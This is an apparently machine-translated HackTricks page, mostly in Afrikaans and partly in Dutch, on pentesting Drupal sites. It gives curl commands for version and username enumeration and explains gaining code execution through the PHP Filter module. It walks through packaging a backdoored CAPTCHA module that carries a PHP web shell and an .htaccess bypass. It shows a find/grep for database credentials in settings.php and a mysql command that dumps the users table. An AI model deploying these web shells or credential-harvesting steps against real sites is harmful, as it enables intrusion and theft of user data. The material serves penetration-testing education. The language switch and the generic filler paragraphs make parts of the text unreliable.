hacktricks/network-services-pentesting/pentesting-web/drupal.md
2024-02-11 02:07:06 +00:00

12 KiB

Drupal

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Ontdekking

  • Kontroleer meta
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal indekseer sy inhoud met behulp van nodes. 'n Node kan enige iets bevat, soos 'n blogpos, opiniepeiling, artikel, ens. Die bladsy-URI's is gewoonlik in die vorm /node/<nodeid>.
curl drupal-site.com/node/1

Opname

Drupal ondersteun standaard drie tipes gebruikers:

  1. Administrateur: Hierdie gebruiker het volledige beheer oor die Drupal-webwerf.
  2. Geverifieerde Gebruiker: Hierdie gebruikers kan op die webwerf inlog en operasies uitvoer soos die byvoeg en wysig van artikels gebaseer op hul toestemmings.
  3. Anoniem: Alle webwerfbesoekers word as anoniem aangedui. Standaard word hierdie gebruikers slegs toegelaat om plasings te lees.

Weergawe

  • Kontroleer /CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Nuwer installasies van Drupal blokkeer standaard toegang tot die CHANGELOG.txt en README.txt lêers. {% endhint %}

Gebruikersnaam opsomming

Registreer

In /user/register probeer net om 'n gebruikersnaam te skep en as die naam reeds geneem is, sal dit aangedui word:

Versoek nuwe wagwoord

As jy 'n nuwe wagwoord versoek vir 'n bestaande gebruikersnaam:

As jy 'n nuwe wagwoord versoek vir 'n nie-bestaande gebruikersnaam:

Kry aantal gebruikers

Deur toegang te verkry tot /user/<number> kan jy die aantal bestaande gebruikers sien, in hierdie geval is dit 2 aangesien /users/3 'n nie gevind fout teruggee:

Versteekte bladsye

Fuzz /node/$ waar $ 'n nommer is (van 1 tot 500 byvoorbeeld).
Jy kan versteekte bladsye (toets, ontwikkeling) vind wat nie deur soekmasjiene verwys word nie.

Geïnstalleerde module-inligting

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Outomaties

Drupal

Drupal is 'n gratis en oopbron-inhoudbestuurstelsel (CMS) wat gebruik word om webwerwe te bou en te bestuur. Dit is 'n baie gewilde CMS wat deur baie webwerwe regoor die wêreld gebruik word. As 'n pentester is dit belangrik om te weet hoe om Drupal-webwerwe te toets vir moontlike kwesbaarhede.

Drupal-weergawes

Dit is belangrik om die weergawe van Drupal wat op 'n webwerf gebruik word, te bepaal, aangesien sekere weergawes kwesbaarhede kan hê wat in ander weergawes opgelos is. Dit kan gedoen word deur na spesifieke kenmerke of bestande te soek wat uniek is vir 'n spesifieke weergawe van Drupal.

Drupal-kwesbaarhede

Daar is verskeie kwesbaarhede wat in Drupal-webwerwe kan voorkom. Dit sluit in SQL-injeksie, kruissite-skripsie (XSS), toegangsbeheerprobleme en meer. Dit is belangrik om hierdie kwesbaarhede te identifiseer en te verstaan hoe om dit uit te buit.

Drupal-modules

Drupal maak gebruik van modules om funksionaliteit aan webwerwe toe te voeg. Sommige modules kan kwesbaarhede hê wat uitgebuit kan word. Dit is belangrik om die modules wat op 'n Drupal-webwerf geïnstalleer is, te identifiseer en te ondersoek vir moontlike kwesbaarhede.

Drupal-temas

Temas word gebruik om die voorkoms van 'n Drupal-webwerf te bepaal. Sommige temas kan sekuriteitskwesbaarhede hê wat uitgebuit kan word. Dit is belangrik om die temas wat op 'n Drupal-webwerf gebruik word, te identifiseer en te ondersoek vir moontlike kwesbaarhede.

Drupal-bronne

Daar is baie bronne beskikbaar wat inligting en hulpmiddels bied vir die pentesting van Drupal-webwerwe. Dit sluit in dokumentasie, gemeenskapsforums, veiligheidskennisbasisse en meer. Dit is belangrik om hierdie bronne te raadpleeg om 'n beter begrip van Drupal en die moontlike kwesbaarhede te verkry.

Drupal-pentesting-hulpmiddels

Daar is verskeie hulpmiddels beskikbaar wat spesifiek ontwerp is vir die pentesting van Drupal-webwerwe. Hierdie hulpmiddels kan gebruik word om kwesbaarhede te identifiseer, toetsdata te manipuleer en toegang tot die webwerf te verkry. Dit is belangrik om bekend te wees met hierdie hulpmiddels en hoe om dit effektief te gebruik.

droopescan scan drupal -u http://drupal-site.local

RCE

Met die PHP Filter Module

{% hint style="warning" %} In ouer weergawes van Drupal (voor weergawe 8), was dit moontlik om as 'n admin in te teken en die PHP filter module te aktiveer, wat "Ingeslote PHP-kode/snippets toelaat om geëvalueer te word." {% endhint %}

Jy benodig die plugin php om geïnstalleer te wees (kontroleer dit deur na /modules/php te gaan en as dit 'n 403 teruggee, bestaan dit, as dit nie gevind word nie, is die plugin php nie geïnstalleer nie)

Gaan na Modules -> (Kontroleer) PHP Filter -> Stoor konfigurasie

Klik dan op Voeg inhoud by -> Kies Basiese bladsy of Artikel -> Skryf php shellcode in die liggaam -> Kies PHP-kode in Teks formaat -> Kies Voorbeeld

Laastens, gaan net na die nuut geskepte node:

curl http://drupal-site.local/node/3

Installeer PHP Filter Module

Vanaf weergawe 8 en hoër, is die PHP Filter module nie standaard geïnstalleer nie. Om van hierdie funksionaliteit gebruik te maak, moet ons die module self installeer.

  1. Laai die mees onlangse weergawe van die module af van die Drupal-webwerf.
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. Nadat dit afgelaai is, gaan na Administrasie > Verslae > Beskikbare opdaterings.
  4. Klik op Deursoek, kies die lêer uit die gids waar ons dit afgelaai het, en klik dan op Installeer.
  5. Nadat die module geïnstalleer is, kan ons op Inhoud klik en 'n nuwe basiese bladsy skep, soortgelyk aan hoe ons dit in die Drupal 7-voorbeeld gedoen het. Maak weer seker om PHP-kode te kies uit die Teks formaat keuslys.

Backdoored Module

'n Backdoored-module kan geskep word deur 'n skulpunt by 'n bestaande module te voeg. Modules kan op die drupal.org-webwerf gevind word. Laat ons 'n module soos CAPTCHA kies. Rol af en kopieer die skakel vir die tar.gz argief.

  • Laai die argief af en onttrek die inhoud daarvan.
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Skep 'n PHP-webdop met die inhoud:
<?php
system($_GET["cmd"]);
?>
  • Volgende, moet ons 'n .htaccess lêer skep om onsself toegang tot die gids te gee. Dit is nodig omdat Drupal direkte toegang tot die /modules gids weier.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Die konfigurasie hierbo sal reëls toepas vir die /-vouer wanneer ons 'n lêer in die /modules-vouer aanvra. Kopieer albei hierdie lêers na die captcha-vouer en skep 'n argief.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Veronderstel dat ons administratiewe toegang tot die webwerf het, klik op Bestuur en dan Uitbrei in die sybalk. Klik daarna op die + Installeer nuwe module knoppie, en ons sal na die installasiebladsy geneem word, soos http://drupal-site.local/admin/modules/install. Blaai na die agterdeurde Captcha-argief en klik Installeer.
  • Sodra die installasie suksesvol is, blaai na /modules/captcha/shell.php om opdragte uit te voer.

Post Exploitation

Lees settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Stort gebruikers uit DB

Om gebruikers uit een database te dumpen, kunt u de volgende stappen volgen:

  1. Identificeer de database die wordt gebruikt door de Drupal-website. Dit kan meestal worden gevonden in het configuratiebestand van Drupal (settings.php).

  2. Maak verbinding met de database met behulp van een databasebeheertool zoals phpMyAdmin of de opdrachtregelinterface van MySQL.

  3. Zoek de tabel die de gebruikersinformatie bevat. In Drupal is dit meestal de tabel met de naam users.

  4. Voer een SQL-query uit om alle gebruikersgegevens uit de tabel te selecteren. Bijvoorbeeld:

    SELECT * FROM users;
    

    Deze query selecteert alle kolommen en rijen uit de users-tabel.

  5. Exporteer de resultaten van de query naar een bestand of bekijk ze direct in de databasebeheertool.

Opmerking: Het dumpen van gebruikersgegevens uit een database kan illegaal zijn zonder de juiste toestemming. Zorg ervoor dat u de wettelijke en ethische richtlijnen volgt bij het uitvoeren van deze actie.

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: